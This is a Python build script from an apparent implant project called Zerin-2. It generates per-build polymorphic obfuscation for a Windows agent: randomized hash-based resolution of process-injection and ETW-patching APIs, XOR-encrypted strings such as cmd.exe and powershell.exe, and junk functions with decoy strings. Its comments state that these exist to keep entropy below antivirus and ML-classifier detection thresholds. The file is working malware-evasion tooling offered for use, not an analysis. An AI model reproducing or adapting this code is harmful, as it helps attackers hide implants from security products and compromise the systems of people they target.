Zerin-2/tools/generate_polymorphic.py

#!/usr/bin/env python3
"""
generate_polymorphic.py - Per-build polymorphic obfuscation for Zerin agent.

Runs before GCC (alongside generate_strings.py). Generates 4 files:
  1. include/poly_hash.h    - Random hash algorithm + all pre-computed constants
  2. include/poly_config.h  - Random STR_KEY + POLY_BUILD_SEED
  3. src/evasion/strings.c   - XOR string table using the random STR_KEY
  4. src/evasion/poly_junk.c - 30-80 random junk functions

Usage:
  python tools/generate_polymorphic.py --outdir <agent_root>
"""

import os
import sys
import random
import argparse
import struct

# ============================================================================
# Hash algorithm implementations (Python side, for pre-computing constants)
# ============================================================================

def djb2_narrow(name, init, multiplier):
    """DJB2 variant over narrow (ASCII) string."""
    h = init & 0xFFFFFFFF
    for c in name:
        h = ((h * multiplier) + ord(c)) & 0xFFFFFFFF
    return h

def djb2_wide_lower(name, init, multiplier):
    """DJB2 variant over wide (UTF-16LE) string, lowercased."""
    h = init & 0xFFFFFFFF
    for c in name:
        ch = ord(c)
        if ord('A') <= ch <= ord('Z'):
            ch += 32
        h = ((h * multiplier) + ch) & 0xFFFFFFFF
    return h

def fnv1a_narrow(name):
    """FNV-1a over narrow string."""
    h = 0x811c9dc5
    for c in name:
        h ^= ord(c)
        h = (h * 0x01000193) & 0xFFFFFFFF
    return h

def fnv1a_wide_lower(name):
    """FNV-1a over wide string, lowercased."""
    h = 0x811c9dc5
    for c in name:
        ch = ord(c)
        if ord('A') <= ch <= ord('Z'):
            ch += 32
        h ^= ch
        h = (h * 0x01000193) & 0xFFFFFFFF
    return h

def sdbm_narrow(name, shift_a, shift_b):
    """SDBM variant over narrow string."""
    h = 0
    for c in name:
        h = ord(c) + (h << shift_a) + (h << shift_b) - h
        h &= 0xFFFFFFFF
    return h

def sdbm_wide_lower(name, shift_a, shift_b):
    """SDBM variant over wide string, lowercased."""
    h = 0
    for c in name:
        ch = ord(c)
        if ord('A') <= ch <= ord('Z'):
            ch += 32
        h = ch + (h << shift_a) + (h << shift_b) - h
        h &= 0xFFFFFFFF
    return h

def rotate_xor_narrow(name, shift_l, shift_r):
    """Rotating-add-xor over narrow string."""
    h = 0
    for c in name:
        h = (h ^ ord(c))
        h = ((h << shift_l) | (h >> (32 - shift_l))) & 0xFFFFFFFF
        h = (h + (h >> shift_r)) & 0xFFFFFFFF
    return h

def rotate_xor_wide_lower(name, shift_l, shift_r):
    """Rotating-add-xor over wide string, lowercased."""
    h = 0
    for c in name:
        ch = ord(c)
        if ord('A') <= ch <= ord('Z'):
            ch += 32
        h = (h ^ ch)
        h = ((h << shift_l) | (h >> (32 - shift_l))) & 0xFFFFFFFF
        h = (h + (h >> shift_r)) & 0xFFFFFFFF
    return h

def jenkins_narrow(name):
    """Jenkins one-at-a-time over narrow string."""
    h = 0
    for c in name:
        h = (h + ord(c)) & 0xFFFFFFFF
        h = (h + (h << 10)) & 0xFFFFFFFF
        h ^= (h >> 6)
    h = (h + (h << 3)) & 0xFFFFFFFF
    h ^= (h >> 11)
    h = (h + (h << 15)) & 0xFFFFFFFF
    return h

def jenkins_wide_lower(name):
    """Jenkins one-at-a-time over wide string, lowercased."""
    h = 0
    for c in name:
        ch = ord(c)
        if ord('A') <= ch <= ord('Z'):
            ch += 32
        h = (h + ch) & 0xFFFFFFFF
        h = (h + (h << 10)) & 0xFFFFFFFF
        h ^= (h >> 6)
    h = (h + (h << 3)) & 0xFFFFFFFF
    h ^= (h >> 11)
    h = (h + (h << 15)) & 0xFFFFFFFF
    return h

# ============================================================================
# C code generators for each hash algorithm
# ============================================================================

def gen_djb2_c(init, multiplier):
    """Generate C code for DJB2 variant."""
    narrow = f"""static inline uint32_t hash_api(const char *name) {{
    uint32_t h = {init}u;
    int c;
    while ((c = *name++) != 0)
        h = h * {multiplier}u + (uint32_t)c;
    return h;
}}"""
    wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{
    uint32_t h = {init}u;
    size_t i;
    for (i = 0; i < chars; i++) {{
        wchar_t c = name[i];
        if (c == 0) break;
        if (c >= L'A' && c <= L'Z') c += 32;
        h = h * {multiplier}u + (uint32_t)c;
    }}
    return h;
}}"""
    return narrow, wide

def gen_fnv1a_c():
    """Generate C code for FNV-1a."""
    narrow = """static inline uint32_t hash_api(const char *name) {
    uint32_t h = 0x811c9dc5u;
    while (*name) {
        h ^= (uint32_t)(unsigned char)*name++;
        h *= 0x01000193u;
    }
    return h;
}"""
    wide = """static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {
    uint32_t h = 0x811c9dc5u;
    size_t i;
    for (i = 0; i < chars; i++) {
        wchar_t c = name[i];
        if (c == 0) break;
        if (c >= L'A' && c <= L'Z') c += 32;
        h ^= (uint32_t)c;
        h *= 0x01000193u;
    }
    return h;
}"""
    return narrow, wide

def gen_sdbm_c(shift_a, shift_b):
    """Generate C code for SDBM variant."""
    narrow = f"""static inline uint32_t hash_api(const char *name) {{
    uint32_t h = 0;
    int c;
    while ((c = *name++) != 0)
        h = (uint32_t)c + (h << {shift_a}) + (h << {shift_b}) - h;
    return h;
}}"""
    wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{
    uint32_t h = 0;
    size_t i;
    for (i = 0; i < chars; i++) {{
        wchar_t c = name[i];
        if (c == 0) break;
        if (c >= L'A' && c <= L'Z') c += 32;
        h = (uint32_t)c + (h << {shift_a}) + (h << {shift_b}) - h;
    }}
    return h;
}}"""
    return narrow, wide

def gen_rotate_xor_c(shift_l, shift_r):
    """Generate C code for rotating-add-xor."""
    narrow = f"""static inline uint32_t hash_api(const char *name) {{
    uint32_t h = 0;
    while (*name) {{
        h ^= (uint32_t)(unsigned char)*name++;
        h = (h << {shift_l}) | (h >> (32 - {shift_l}));
        h += h >> {shift_r};
    }}
    return h;
}}"""
    wide = f"""static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {{
    uint32_t h = 0;
    size_t i;
    for (i = 0; i < chars; i++) {{
        wchar_t c = name[i];
        if (c == 0) break;
        if (c >= L'A' && c <= L'Z') c += 32;
        h ^= (uint32_t)c;
        h = (h << {shift_l}) | (h >> (32 - {shift_l}));
        h += h >> {shift_r};
    }}
    return h;
}}"""
    return narrow, wide

def gen_jenkins_c():
    """Generate C code for Jenkins one-at-a-time."""
    narrow = """static inline uint32_t hash_api(const char *name) {
    uint32_t h = 0;
    while (*name) {
        h += (uint32_t)(unsigned char)*name++;
        h += h << 10;
        h ^= h >> 6;
    }
    h += h << 3;
    h ^= h >> 11;
    h += h << 15;
    return h;
}"""
    wide = """static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {
    uint32_t h = 0;
    size_t i;
    for (i = 0; i < chars; i++) {
        wchar_t c = name[i];
        if (c == 0) break;
        if (c >= L'A' && c <= L'Z') c += 32;
        h += (uint32_t)c;
        h += h << 10;
        h ^= h >> 6;
    }
    h += h << 3;
    h ^= h >> 11;
    h += h << 15;
    return h;
}"""
    return narrow, wide

# ============================================================================
# Algorithm selection and hash computation
# ============================================================================

# Modules (wide, lowercased) and functions (narrow)
MODULES = [
    ("NTDLL",     "ntdll.dll"),
    ("KERNEL32",  "kernel32.dll"),
    ("ADVAPI32",  "advapi32.dll"),
    ("USER32",    "user32.dll"),
]

FUNCTIONS = [
    ("NtAllocateVirtualMemory",),
    ("NtProtectVirtualMemory",),
    ("NtWriteVirtualMemory",),
    ("NtCreateThreadEx",),
    ("NtClose",),
    ("NtQueryInformationProcess",),
    ("NtFreeVirtualMemory",),
    ("RtlGetVersion",),
    ("NtQuerySystemInformation",),
    ("VirtualAllocEx",),
    ("WriteProcessMemory",),
    ("VirtualProtectEx",),
    ("VirtualFreeEx",),
    ("OpenProcess",),
    ("VirtualAlloc",),
    ("VirtualFree",),
    ("VirtualProtect",),
    ("EtwEventWrite",),
]

# DJB2 primes for init values
DJB2_PRIMES = [5381, 5387, 5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437,
               5441, 5443, 5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507]
DJB2_MULTIPLIERS = [31, 33, 37]


def pick_algorithm(rng):
    """Randomly select a hash algorithm and return (name, params, narrow_fn, wide_fn, c_code_fn)."""
    choice = rng.randint(0, 4)

    if choice == 0:
        # DJB2 variant
        init = rng.choice(DJB2_PRIMES)
        mult = rng.choice(DJB2_MULTIPLIERS)
        def narrow(name): return djb2_narrow(name, init, mult)
        def wide(name): return djb2_wide_lower(name, init, mult)
        def c_code(): return gen_djb2_c(init, mult)
        return f"DJB2(init={init},mult={mult})", narrow, wide, c_code

    elif choice == 1:
        # FNV-1a
        def narrow(name): return fnv1a_narrow(name)
        def wide(name): return fnv1a_wide_lower(name)
        def c_code(): return gen_fnv1a_c()
        return "FNV1a", narrow, wide, c_code

    elif choice == 2:
        # SDBM
        shift_a = rng.choice([6, 7, 8])
        shift_b = rng.choice([16, 17, 18])
        def narrow(name): return sdbm_narrow(name, shift_a, shift_b)
        def wide(name): return sdbm_wide_lower(name, shift_a, shift_b)
        def c_code(): return gen_sdbm_c(shift_a, shift_b)
        return f"SDBM(a={shift_a},b={shift_b})", narrow, wide, c_code

    elif choice == 3:
        # Rotating-add-xor
        shift_l = rng.choice([4, 5, 6, 7])
        shift_r = rng.choice([11, 13, 15, 17])
        def narrow(name): return rotate_xor_narrow(name, shift_l, shift_r)
        def wide(name): return rotate_xor_wide_lower(name, shift_l, shift_r)
        def c_code(): return gen_rotate_xor_c(shift_l, shift_r)
        return f"RotXor(l={shift_l},r={shift_r})", narrow, wide, c_code

    else:
        # Jenkins one-at-a-time
        def narrow(name): return jenkins_narrow(name)
        def wide(name): return jenkins_wide_lower(name)
        def c_code(): return gen_jenkins_c()
        return "Jenkins", narrow, wide, c_code


def compute_hashes(narrow_fn, wide_fn):
    """Compute all module and function hashes. Returns (module_hashes, func_hashes) dicts."""
    module_hashes = {}
    for define_name, dll_name in MODULES:
        h = wide_fn(dll_name)
        module_hashes[define_name] = h

    func_hashes = {}
    for (func_name,) in FUNCTIONS:
        h = narrow_fn(func_name)
        func_hashes[func_name] = h

    return module_hashes, func_hashes


def check_collisions(module_hashes, func_hashes):
    """Check for hash collisions. Returns True if no collisions."""
    all_values = list(module_hashes.values()) + list(func_hashes.values())
    return len(all_values) == len(set(all_values))


# ============================================================================
# File generators
# ============================================================================

def generate_poly_hash_h(algo_name, c_code_fn, module_hashes, func_hashes):
    """Generate include/poly_hash.h content."""
    narrow_c, wide_c = c_code_fn()

    lines = [
        f"// Auto-generated by generate_polymorphic.py - DO NOT EDIT",
        f"// Algorithm: {algo_name}",
        "#ifndef POLY_HASH_H",
        "#define POLY_HASH_H",
        "",
        "#include <stdint.h>",
        "#include <stddef.h>",
        "",
        "// Hash function for narrow (char*) API names",
        narrow_c,
        "",
        "// Hash function for wide (wchar_t*) module names, lowercased",
        wide_c,
        "",
        "// Pre-computed module name hashes (wide, lowercased)",
    ]
    for define_name, h in module_hashes.items():
        lines.append(f"#define HASH_{define_name}  0x{h:08x}")
    lines.append("")
    lines.append("// Pre-computed function name hashes (narrow)")
    for func_name, h in func_hashes.items():
        lines.append(f"#define HASH_{func_name}  0x{h:08x}")
    lines.extend(["", "#endif // POLY_HASH_H", ""])
    return "\n".join(lines)


def generate_poly_config_h(str_key, build_seed):
    """Generate include/poly_config.h content."""
    lines = [
        "// Auto-generated by generate_polymorphic.py - DO NOT EDIT",
        "#ifndef POLY_CONFIG_H",
        "#define POLY_CONFIG_H",
        "",
        f"#define STR_KEY 0x{str_key:02X}",
        f"#define POLY_BUILD_SEED 0x{build_seed:08X}u",
        "",
        "#endif // POLY_CONFIG_H",
        "",
    ]
    return "\n".join(lines)


def generate_strings_c(str_key):
    """Generate src/evasion/strings.c with XOR-encrypted string table."""
    strings = [
        ("cmd_exe",     "cmd.exe"),
        ("ntdll",       "ntdll.dll"),
        ("kernel32",    "kernel32.dll"),
        ("advapi32",    "advapi32.dll"),
        ("winhttp",     "winhttp.dll"),
        ("powershell",  "powershell.exe"),
    ]

    num_strings = len(strings)

    lines = [
        '// Auto-generated by generate_polymorphic.py - DO NOT EDIT',
        '#include "zerin.h"',
        '#include "poly_config.h"',
        '#include <string.h>',
        '',
        f'#define ESTR_COUNT {num_strings}',
        '',
        'void str_decrypt(char *buf, const unsigned char *enc, size_t len) {',
        '    size_t i;',
        '    for (i = 0; i < len; i++)',
        '        buf[i] = (char)(enc[i] ^ STR_KEY);',
        '    buf[len] = \'\\0\';',
        '}',
        '',
        'void str_wipe(char *buf, size_t len) {',
        '    secure_zero(buf, len + 1);',
        '}',
        '',
    ]

    for var_name, plaintext in strings:
        enc_bytes = [b ^ str_key for b in plaintext.encode('ascii')]
        hex_str = ", ".join(f"0x{b:02x}" for b in enc_bytes)
        lines.append(f'// "{plaintext}"')
        lines.append(f'static const unsigned char enc_{var_name}[] = {{')
        lines.append(f'    {hex_str}')
        lines.append('};')
        lines.append('')

    lines.extend([
        'typedef struct {',
        '    const unsigned char *data;',
        '    size_t              len;',
        '} estr_entry_t;',
        '',
        'static const estr_entry_t estr_table[ESTR_COUNT] = {',
    ])
    for var_name, plaintext in strings:
        lines.append(f'    {{ enc_{var_name}, sizeof(enc_{var_name}) }},')
    lines.extend([
        '};',
        '',
        'const unsigned char *estr_get(int index, size_t *out_len) {',
        '    if (index < 0 || index >= ESTR_COUNT) {',
        '        *out_len = 0;',
        '        return NULL;',
        '    }',
        '    *out_len = estr_table[index].len;',
        '    return estr_table[index].data;',
        '}',
        '',
    ])
    return "\n".join(lines)


# ============================================================================
# Junk code generator
# ============================================================================

def generate_poly_junk_c(rng, count):
    """Generate src/evasion/poly_junk.c with random junk functions.

    Entropy-conscious: uses 8/16-bit constants (not 32-bit) to keep .text
    section entropy below AV heuristic thresholds (~6.5 bits/byte).
    Also embeds a large realistic string table for .rdata dilution.
    """
    func_names = []
    func_param_counts = []
    for _ in range(count):
        func_names.append(f"poly_fn_{rng.getrandbits(32):08x}")
        func_param_counts.append(rng.randint(1, 3))

    # ---- Entropy-diluting string table for .rdata ----
    # These look like legitimate Windows API/runtime strings and pull
    # .rdata section entropy well below ML classifier thresholds.
    JUNK_STRINGS = [
        "CreateFileW", "ReadFile", "WriteFile", "CloseHandle",
        "GetLastError", "SetLastError", "GetProcAddress",
        "LoadLibraryExW", "FreeLibrary", "GetModuleHandleW",
        "HeapAlloc", "HeapFree", "HeapReAlloc", "HeapCreate",
        "EnterCriticalSection", "LeaveCriticalSection",
        "InitializeCriticalSection", "DeleteCriticalSection",
        "WaitForSingleObject", "WaitForMultipleObjects",
        "CreateThread", "ExitThread", "ResumeThread",
        "GetCurrentProcess", "GetCurrentThread",
        "GetSystemInfo", "GetVersionExW",
        "RegOpenKeyExW", "RegQueryValueExW", "RegCloseKey",
        "CreateEventW", "SetEvent", "ResetEvent",
        "CreateMutexW", "ReleaseMutex", "OpenMutexW",
        "GetEnvironmentVariableW", "SetEnvironmentVariableW",
        "GetTempPathW", "GetTempFileNameW",
        "FindFirstFileW", "FindNextFileW", "FindClose",
        "MoveFileExW", "CopyFileW", "DeleteFileW",
        "CreateDirectoryW", "RemoveDirectoryW",
        "GetFileAttributesW", "SetFileAttributesW",
        "DeviceIoControl", "GetOverlappedResult",
        "ConnectNamedPipe", "DisconnectNamedPipe",
        "PeekNamedPipe", "TransactNamedPipe",
        "GetComputerNameW", "GetUserNameW",
        "LookupAccountSidW", "LookupPrivilegeValueW",
        "CryptAcquireContextW", "CryptReleaseContext",
        "CryptGenRandom", "CryptCreateHash",
        "The specified resource type cannot be found.",
        "Windows Defender SmartScreen prevented an unrecognized app from starting.",
        "The trust relationship between this workstation and the primary domain failed.",
        "The remote procedure call failed and did not execute.",
        "Fatal error during installation.",
        "Setup was unable to create the directory.",
        "Component transfer error.",
        "Unable to determine the Windows directory.",
        "The resource loader failed to find MUI file.",
        "Activation context generation failed for the assembly.",
        "The referenced assembly is not installed on your system.",
        "Side-by-side configuration information is incorrect.",
        "Windows Resource Protection could not perform the requested operation.",
        "The Windows Installer Service could not be accessed.",
        "Error applying transforms. Verify that the specified transform paths are valid.",
        "This installation package could not be opened.",
        "This installation package is not supported by this processor type.",
    ]

    lines = [
        "// Auto-generated by generate_polymorphic.py - DO NOT EDIT",
        "#include <stdint.h>",
        "",
        "volatile uint32_t g_poly_state = 0;",
        "",
        "// Entropy dilution: realistic Windows strings lower .rdata entropy",
    ]
    shuffled_strings = list(JUNK_STRINGS)
    rng.shuffle(shuffled_strings)
    for i, s in enumerate(shuffled_strings):
        safe = s.replace('"', '\\"')
        lines.append(f'static const char __attribute__((used)) _jpad_{i}[] = "{safe}";')
    lines.extend(["", "// Forward declarations"])

    for fn, pc in zip(func_names, func_param_counts):
        params = ", ".join(f"uint32_t p{i}" for i in range(pc))
        lines.append(f"static uint32_t {fn}({params});")
    lines.append("")

    # Generate function bodies
    for idx, fn in enumerate(func_names):
        param_count = func_param_counts[idx]
        params = ", ".join(f"uint32_t p{i}" for i in range(param_count))
        lines.append(f"static uint32_t {fn}({params}) {{")

        body_type = rng.randint(0, 4)

        # Helper to emit code that uses all params (avoids -Wunused-parameter)
        def use_all_params():
            if param_count > 1:
                lines.append(f"    r ^= p1;")
            if param_count > 2:
                lines.append(f"    r += p2;")

        if body_type == 0:
            # Arithmetic chain — use 8-bit constants (low entropy)
            lines.append(f"    uint32_t r = p0;")
            ops = rng.randint(3, 7)
            for _ in range(ops):
                op = rng.choice(['+', '^', '*', '-'])
                val = rng.getrandbits(8)
                if op == '*':
                    val = val | 1  # Avoid multiply by 0
                lines.append(f"    r = r {op} {val}u;")
            use_all_params()
            lines.append(f"    return r;")

        elif body_type == 1:
            # Bitwise rotation chain — use 16-bit XOR values (not 32-bit)
            lines.append(f"    uint32_t r = p0;")
            steps = rng.randint(2, 5)
            for _ in range(steps):
                shift = rng.randint(1, 31)
                direction = rng.choice(["left", "right"])
                if direction == "left":
                    lines.append(f"    r = (r << {shift}) | (r >> {32 - shift});")
                else:
                    lines.append(f"    r = (r >> {shift}) | (r << {32 - shift});")
                val = rng.getrandbits(16)
                lines.append(f"    r ^= 0x{val:04X}u;")
            use_all_params()
            lines.append(f"    return r;")

        elif body_type == 2:
            # Small array computation — 8-bit values (low entropy)
            arr_size = rng.randint(4, 8)
            init_vals = [f"0x{rng.getrandbits(8):02X}u" for _ in range(arr_size)]
            lines.append(f"    uint32_t arr[{arr_size}] = {{ {', '.join(init_vals)} }};")
            lines.append(f"    uint32_t r = p0;")
            for i in range(arr_size):
                op = rng.choice(['^', '+', '-'])
                lines.append(f"    r {op}= arr[{i}];")
            if param_count > 1:
                lines.append(f"    r *= p1 | 1u;")
            if param_count > 2:
                lines.append(f"    r += p2;")
            lines.append(f"    return r;")

        elif body_type == 3:
            # Short loop — use 16-bit seed (not 32-bit)
            iters = rng.randint(3, 8)
            val = rng.getrandbits(16)
            lines.append(f"    uint32_t r = p0 ^ 0x{val:04X}u;")
            lines.append(f"    for (uint32_t i = 0; i < {iters}u; i++) {{")
            op = rng.choice(['^', '+'])
            shift = rng.randint(1, 15)
            lines.append(f"        r {op}= (r << {shift}) + i;")
            lines.append(f"    }}")
            use_all_params()
            lines.append(f"    return r;")

        else:
            # Cross-function call + arithmetic — use 16-bit constant
            lines.append(f"    uint32_t r = p0;")
            if idx > 0:
                target_idx = rng.randint(0, idx - 1)
                target = func_names[target_idx]
                target_pc = func_param_counts[target_idx]
                call_args = ["r"]
                if target_pc > 1:
                    call_args.append("p1" if param_count > 1 else "r")
                if target_pc > 2:
                    call_args.append("p2" if param_count > 2 else "r")
                call_str = ", ".join(call_args)
                lines.append(f"    r = {target}({call_str});")
            val = rng.getrandbits(16)
            lines.append(f"    r ^= 0x{val:04X}u;")
            use_all_params()
            lines.append(f"    return r;")

        lines.append("}")
        lines.append("")

    # Generate poly_junk_init() — must call ALL functions to avoid -Wunused-function
    lines.append("void poly_junk_init(void) {")
    lines.append(f"    uint32_t state = 0x{rng.getrandbits(32):08X}u;")

    # Chain calls to ALL functions to avoid -Wunused-function warnings
    for ci in range(count):
        fn = func_names[ci]
        pc = func_param_counts[ci]
        # Build args: always pass state for all params
        call_args = ", ".join(["state"] * pc)
        lines.append(f"    state = {fn}({call_args});")

    lines.append("    g_poly_state = state;")
    lines.append("}")
    lines.append("")

    return "\n".join(lines)


# ============================================================================
# Main
# ============================================================================

def main():
    parser = argparse.ArgumentParser(description="Generate polymorphic obfuscation files")
    parser.add_argument("--outdir", required=True, help="Agent root directory")
    args = parser.parse_args()

    agent_dir = args.outdir
    include_dir = os.path.join(agent_dir, "include")
    evasion_dir = os.path.join(agent_dir, "src", "evasion")

    os.makedirs(include_dir, exist_ok=True)
    os.makedirs(evasion_dir, exist_ok=True)

    rng = random.SystemRandom()

    # --- Pick hash algorithm (retry on collision) ---
    max_attempts = 50
    for attempt in range(max_attempts):
        algo_name, narrow_fn, wide_fn, c_code_fn = pick_algorithm(rng)
        module_hashes, func_hashes = compute_hashes(narrow_fn, wide_fn)

        if check_collisions(module_hashes, func_hashes):
            break
    else:
        print("ERROR: Could not find collision-free hash params after 50 attempts", file=sys.stderr)
        sys.exit(1)

    # --- Random build constants ---
    str_key = rng.randint(0x01, 0xFF)
    build_seed = rng.getrandbits(32)

    # --- Generate files ---
    # 1. poly_hash.h
    poly_hash_content = generate_poly_hash_h(algo_name, c_code_fn, module_hashes, func_hashes)
    poly_hash_path = os.path.join(include_dir, "poly_hash.h")
    with open(poly_hash_path, "w", encoding="utf-8", newline="\n") as f:
        f.write(poly_hash_content)

    # 2. poly_config.h
    poly_config_content = generate_poly_config_h(str_key, build_seed)
    poly_config_path = os.path.join(include_dir, "poly_config.h")
    with open(poly_config_path, "w", encoding="utf-8", newline="\n") as f:
        f.write(poly_config_content)

    # 3. strings.c
    strings_content = generate_strings_c(str_key)
    strings_path = os.path.join(evasion_dir, "strings.c")
    with open(strings_path, "w", encoding="utf-8", newline="\n") as f:
        f.write(strings_content)

    # 4. poly_junk.c
    junk_count = rng.randint(45, 55)
    junk_content = generate_poly_junk_c(rng, junk_count)
    junk_path = os.path.join(evasion_dir, "poly_junk.c")
    with open(junk_path, "w", encoding="utf-8", newline="\n") as f:
        f.write(junk_content)

    print(f"Polymorphic obfuscation generated:")
    print(f"  Algorithm: {algo_name}")
    print(f"  STR_KEY:   0x{str_key:02X}")
    print(f"  Seed:      0x{build_seed:08X}")
    print(f"  Junk fns:  {junk_count}")
    print(f"  Files:")
    print(f"    {poly_hash_path}")
    print(f"    {poly_config_path}")
    print(f"    {strings_path}")
    print(f"    {junk_path}")


if __name__ == "__main__":
    main()